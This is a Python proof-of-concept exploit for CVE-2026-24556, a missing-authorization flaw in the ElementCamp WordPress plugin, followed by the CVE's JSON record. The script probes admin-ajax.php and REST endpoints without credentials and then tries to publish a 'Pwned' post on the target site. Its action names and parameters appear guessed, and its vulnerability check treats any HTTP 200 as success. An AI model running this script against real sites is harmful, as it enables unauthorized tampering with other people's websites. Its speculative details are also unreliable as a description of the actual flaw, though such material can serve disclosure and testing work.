CVE-2026-24556

# CVE-2026-24556 PoC - ElementCamp Missing Authorization # Affected: ElementCamp <= 2.3.2 import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if target is vulnerable to CVE-2026-24556""" # Check plugin version endpoint or known vulnerable endpoints endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/wp/v2/users", f"{TARGET_URL}/?rest_route=/elementcamp/v1/" ] print("[*] Testing CVE-2026-24556 - ElementCamp Missing Authorization") print(f"[*] Target: {TARGET_URL}") for endpoint in endpoints: try: # Test unauthenticated access to protected functionality headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Common vulnerable parameters for ElementCamp data = { "action": "elementcamp_ajax_action", "nonce": "", "post_id": "1" } response = requests.post(endpoint, headers=headers, data=data, timeout=10) if response.status_code == 200: print(f"[+] Endpoint {endpoint} is accessible") print(f"[+] Response: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[-] Target may not be vulnerable or is not reachable") return False def exploit_authorization_bypass(): """Attempt to exploit the authorization bypass""" print("[*] Attempting to exploit authorization bypass...") # Exploit: Access admin functions without authentication exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" payload = { "action": "elementcamp_save_content", "post_type": "post", "post_title": "Pwned by CVE-2026-24556", "post_content": "This site is vulnerable to Missing Authorization", "post_status": "publish" } try: response = requests.post(exploit_url, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploitation successful - unauthorized action performed") return True else: print("[-] Exploitation may have failed") return False except Exception as e: print(f"[-] Exploitation error: {e}") return False if __name__ == "__main__": if check_vulnerability(): print("[!] Target appears vulnerable") resp = input("[*] Do you want to attempt exploitation? (y/n): ") if resp.lower() == 'y': exploit_authorization_bypass() else: print("[*] Target does not appear to be vulnerable")

{"cve": {"id": "CVE-2026-24556", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:12.430", "lastModified": "2026-04-28T15:16:13.693", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in wpdive ElementCamp element-camp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ElementCamp: from n/a through <= 2.3.2."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en wpdive ElementCamp element-camp permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a ElementCamp: desde n/a hasta &lt;= 2.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/element-camp/vulnerability/wordpress-elementcamp-plugin-2-3-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}